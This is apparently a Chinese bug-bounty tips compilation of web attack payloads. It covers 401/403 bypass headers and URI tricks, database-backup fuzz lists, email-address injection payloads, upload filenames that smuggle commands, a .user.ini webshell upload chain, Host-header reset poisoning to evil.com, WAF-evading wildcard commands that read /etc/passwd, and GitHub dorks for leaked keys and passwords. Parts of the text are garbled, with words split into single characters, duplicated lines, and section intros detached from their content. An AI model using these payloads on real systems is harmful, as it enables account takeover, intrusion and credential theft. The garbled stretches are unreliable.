这是使用.json扩展名实现敏感数据泄漏的提示。
请求:GET /ResetPassword HTTP/1.1{“email”:“victim@example.com”}
响应:HTTP/1.1 200 OK
e.g.
请求:GET /ResetPassword.json HTTP/1.1{“email”:“victim@example.com”}
响应:HTTP/1.1 200 OK{“success”:“true”,“token”:“596a96-cc7bf-9108c-d896f-33c44a-edc8a”}
请注意,在我们的请求中添加了.json扩展名,这导致获得了秘密令牌!
这是一个有趣的提示,可以帮助您找到身份验证绕过漏洞:
请求:GET /delete?user=test HTTP/1.1
响应:HTTP/1.1 401 Unauthorized
现在让我们尝试一下:
请求:GET /delete?user=test HTTP/1.1 X-Custom-IP-Authorization: 127.0.0.1
响应:HTTP/1.1 302 Found
这在前端使用添加的自定义HTTP标头(X-Custom-IP-Authorization)的情况下可能有效-例如,当它用于标识通过负载均衡器连接到Web服务器的客户端的原始IP地址时。
通过将自己标识为127.0.0.1,我们可以规避Web应用程序的访问控制并执行特权操作。
如果您正在Drupal网站上找漏洞,在‘/node/
’上使用
B
u
r
p
S
u
i
t
e
I
n
t
r
u
d
e
r
(或其他类似工具)进行模糊测试,其中’
’ 上使用Burp Suite Intruder(或其他类似工具)进行模糊测试,其中’
’上使用BurpSuiteIntruder(或其他类似工具)进行模糊测试,其中’’是一个数字(从1到500)。
例如:
https://target.com/node/1
https://target.com/node/2
https://target.com/node/3
…
https://target.com/node/499
https://target.com/node/500
很有可能我们会找到搜索引擎未引用的隐藏页面(测试,开发)。
这是使用此小型但快速的模糊列表查找数据库备份的list:
/back.sql
/backup.sql
/accounts.sql
/backups.sql
/clients.sql
/customers.sql
/data.sql
/database.sql
/database.sqlite
/users.sql
/db.sql
/db.sqlite
/db_backup.sql
/dbase.sql
/dbdump.sql
setup.sql
sqldump.sql
/dump.sql
/mysql.sql
/sql.sql
/temp.sql
旧的数据库转储可能包含各种敏感信息-用户凭证,配置设置,机密和api密钥,客户数据等。
以下有效载荷都是有效的电子邮件地址,我们不仅可以用于基于Web的电子邮件系统的渗透测试。 在目录爆破中将“ Host”标头设置为“ localhost”,结果可能令人惊讶!您可能可以访问: 这是通过以下方式篡改URI来访问管理面板的超级简单技巧: 通过篡改URI并添加额外的空格(%20)来帮助访问受限区域 该技巧与上一个技巧非常相似。通过篡改URI,我们也许可以绕过应用程序的访问控制: 以下是有关如何绕过403禁止和401未经授权错误的提示列表: 在Web应用程序中测试文件上传功能时,请尝试将文件名设置为以下值: 先上传一个以auto_prepend_file=1.gif为内容的.user.ini文件【用户自定义的配置文件】。.user.ini文件里的意思是:所有的php文件都自动包含1.gif文件,.user.ini相当于一个用户自定义的php.ini。然后再上传一个内容为一句话木马的命名为1.gif的文件。上传成功之后,用webshell管理工具添加该图片的路径,但该图片名改为当前目录下的php文件,例如readme.php,输入密码连接成功 该漏洞赏金提示演示了密码重置功能的绕过技术,该功能可能会导致ATO(帐户接管)。 此漏洞赏金提示对于使用Web浏览器呈现输入到它们的URL的Web应用程序很有用。例如,这可能是Web应用程序的广告预览/数据验证功能。 target.com/admin –> HTTP 302 (重定向到登录页面) 如果有WAF(Web应用程序防火墙)过滤您的RCE(远程代码执行)和LFI(本地文件包含)payload(有效负载),则可以尝试使用通配符绕过它。 在本示例中,作者可以确定数据库名称的长度为10个字符,作为概念证明。通过使用Sqlmap将其自动化,可以转储整个数据库,甚至可以实现RCE并获得shell程序,具体取决于数据库后端。 手机发送短信时间限制的话,可以在手机号前尝试使用特殊字符,或空格。他的逻辑应该是这样的,用户输入手机号——>后端判断该手机号是否在30秒或者60秒内请求过——>如果没有,判断发送过来的手机号是够是11位的纯数字,如果不是,去掉非数字字符——>和数据库中的手机号比对,是够存在于数据库中,如果存在那么向该手机发送验证码。 图片验证码可设置为空,如:code=undefined 在{{xxx}}中输入的命令参数可被执行,如: 比如:
XSS(跨站脚本):
test+(”@example.com
模板注入:
“<%=7 * 7 %>”@example.com
test+(${{7*7}})@example.com
SQL注入
“'OR 1=1 – '”@example.com
“mail’);DROP TABLE users;–”@example.com
SSRF(服务器端请求伪造):
john.doe@abc123.burpcollaborator.net
john.doe@[127.0.0.1]
参数污染:
victim&email=attacker@example.com
(电子邮件)标头注入:
“%0d%0aContent-Length:%200%0d%0a%0d%0a”@example.com
“recipient@test.com>\r\nRCPTTO:六、HTTP主机头:localhost
特殊功能
内部端口
配置文件,SSL密钥
目录列表,等等…
我们甚至可以更进一步,通过执行虚拟主机枚举来尝试标识目标Web服务器上托管的所有站点。使用以下工具:
https://github.com/ffuf/ffuf
https://nmap.org/nsedoc/scripts/http-vhosts.html
https://github.com/jobertabma/virtual-host-discovery
注意,我们也可以使用curl或wget:
curl-v -H “Host: localhost” https://target/
wget-d --header=“Host: localhost” https://target/七、通过篡改URI访问管理面板
https://target.com/admin/ –> HTTP 302(重定向到登录页面)
https://target.com/admin…;/ –> HTTP 200 OK
也尝试以下技巧,其他人对此推文发表了评论:
https://target.com/…/admin
https://target.com/whatever/…;/admin八、通过URL编码空格访问管理面板
target.com/admin –> HTTP 302 (重定向到登陆页面)
target.com/admin%20/ -> HTTP 200 OK
target.com/%20admin%20/ -> HTTP 200 OK
target.com/admin%20/page -> HTTP 200 OK
作者能够使用此技巧来发现“身份验证和会话管理”损坏的问题,并访问目标Web应用程序中的管理面板。后端Web服务器是Apache HTTP服务器,但是它也可以在其他地方工作。
Protip:还检查与此非常相似的先前发布的提示(BBT4-5,BBT4-6)。九、篡改URI绕过403
site.com/secret –>禁止HTTP 403
site.com/secret/ ->HTTP 200 OK
site.com/secret/。 –> HTTP 200 ok
site.com//secret// ->HTTP 200 OK
site.com/./secret/… –> HTTP 200 OK
很少见到,但可以尝试一下。十、Bypass401、403
1、通过添加headers:X-Originating-IP,X-Remote-IP,X-Client-IP,X-Forwarded-For等。有时,公司将那些可以访问敏感数据的IP列入白名单。这些标头将IP地址作为值,如果提供的IP与白名单中的IP地址匹配,则您可以访问资源。
2、使用Unicode字符:尝试插入Unicode字符以绕过防御。尝试例如 ℀ = ca,℁= sa以及其他许多选项(在此处或此处检查)。因此,如果/cadmin被阻止,请尝试访问 ℀dmin。检查这对Unicode的黑客技巧短期YouTube视频的更多细节。
3、通过覆盖,用标头覆盖URL:如果GET /admin给您403 Forbidden,请尝试GET /accessible(任何可访问的端点)并添加以下任何HTTP标头:
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin
4、尝试不同的负载:如果GET /admin有403 Forbidden,请尝试访问:
/accessible/…;/admin
/.;/admin
/admin;/
/admin/~
/./admin/./
/admin?param
/%2e/admin
/admin#
5、方法切换:将方法从GET更改为POST,然后看是否有所收获。
6、通过IP,Vhost:通过其IP或Vhost访问该站点以获取禁止的内容。
7、模糊化:进一步对文件或目录进行暴力处理。
Tips:还要检查与此有关的先前发布的提示:Tips-6-6,Tips-4-5和Tips-4-6。十一、文件上传引申其他漏洞
…/…/…/tmp/lol.png —> for path traversal
sleep(10)-- -.jpg —> for SQL injection
; sleep 10; —> for command injections
使用这些Payload,我们可能会触发其他漏洞。
十二、文件上传.user.ini绕过
有关 .user.ini 的参考请看:https://blog.csdn.net/weixin_52635170/article/details/126962920十三、密码中毒绕过账户接管
考虑以下3个请求:
1、正常要求:
Request:
POST /password-reset?user=123 HTTP/1.1
Host: target.com
Link received:
https://target.com/reset-link=1g2f3guy23g
2、基本HHI(主机头注入):
Request:
POST /password-reset?user=123 HTTP/1.1
Host: evil.com
Link received:
none
Error 404 - request blocked
3、Bypass
Request:
POST https://target.com/password-reset?user=123 HTTP/1.1
Host: evil.com
Link received:
https://evil.com/reset-link=1g2f3guy23g
注意,在绕过中,我们在POST请求中使用了绝对URL。在这种情况下,应完全忽略Host标头。但是,某些后端系统仍会处理它,而前端系统则不处理-只是不一致。
如果成功,这可能会导致严重性较高的错误,从而导致重置令牌泄漏,进而导致帐户接管和特权升级。这是一个真实的错误报告,详细描述了影响。十四、查看源代码来查找LFI
它也可能是一个Web应用程序,它将获取您的URL并为您截屏。您可以在服务器端呈现URL的任何地方找到它。
好了,现在的实际提示是:
作为一个漏洞搜寻者,您将尝试访问“ file:///etc/passwd”,对吗?但是,如果它被列入黑名单或以某种方式被阻止怎么办?尝试改为访问“ view-source:file:///etc/passwd”!
开发人员经常在黑名单中忘记“查看源代码”功能。十五、在访问admin路径面板时可以通过添加%20来绕过
target.com/admin%20/ -> HTTP 200 OK
target.com/%20admin%20/ -> HTTP 200 OK
target.com/admin%20/page -> HTTP 200 OK十六、使用通配符绕Waf
这是一个例子:
/usr/bin/cat /etc/passwd == /???/???/c?t$IFS/?t?/p?s?wd
Globbing是模式扩展的一种形式,用于匹配特定路径,并且使用以下通配符来实现:
? = any single character
Globbing可以在所有流行的平台上使用,包括Windows(CMD,PowerShell),UNIX和Mac。在UNIX平台上,我们还可以使用$ IFS特殊变量替换空白:
I
F
S
=
I
n
t
e
r
n
a
l
F
i
e
l
d
S
e
p
a
r
a
t
o
r
=
[
s
p
a
c
e
]
,
[
t
a
b
]
o
r
a
[
n
e
w
l
i
n
e
]
例如,所有这些都应在典型的
L
i
n
u
x
系统上执行“
/
b
i
n
/
c
a
t
/
e
t
c
/
p
a
s
s
w
d
”:
/
∗
/
?
a
t
IFS = Internal Field Separator = [space], [tab] or a [newline] 例如,所有这些都应在典型的Linux系统上执行“/bin/cat/etc/passwd”: /*/?at
IFS=InternalFieldSeparator=[space],[tab]ora[newline]例如,所有这些都应在典型的Linux系统上执行“/bin/cat/etc/passwd”:/∗/?atIFS/???/???swd
/****/?at
I
F
S
/
?
?
?
/
∗
s
w
d
/
∗
∗
∗
∗
/
?
a
t
IFS/???/*swd /****/?at
IFS/???/∗swd/∗∗∗∗/?atIFS/???/*******swd十七、绕过邮件过滤导致Sql注入
请注意,SQL注入是通过将引号(“)放在at(@)字符之前触发的,此处:
“injection_here”@example.com
带引号的电子邮件地址是有效的电子邮件地址,请参阅RFC3696中对电子邮件地址的限制。十八、手机发送短信时间被限制
十九、图片验证码
二十、模板注入
www.baidu.com/{{1+1}}二十一、使用github dorks帮助我们寻找一些敏感信息
extension:pem private
extension:ppk private
extension:sql mysql dump password
extension:json api.forecast.io
extension:json mongolab.com
extension:yaml mongolab.com
extension:ica [WFClient] Password=
extension:avastlic “support.avast.com”
extension:js jsforce conn.login
extension:json googleusercontent client_secret
“target.com” send_keys
“target.com” password
“target.com” api_key
“target.com” apikey
“target.com” jira_password
“target.com” root_password
“target.com” access_token
“target.com” config
“target.com” client_secret
“target.com” user auth
通过上述语法,可以搜索到一些敏感的私钥,一些SSH登录私钥,mysql的数据库密码,API key等等。
另外推荐一个脚本:https://github.com/techgaun/github-dorks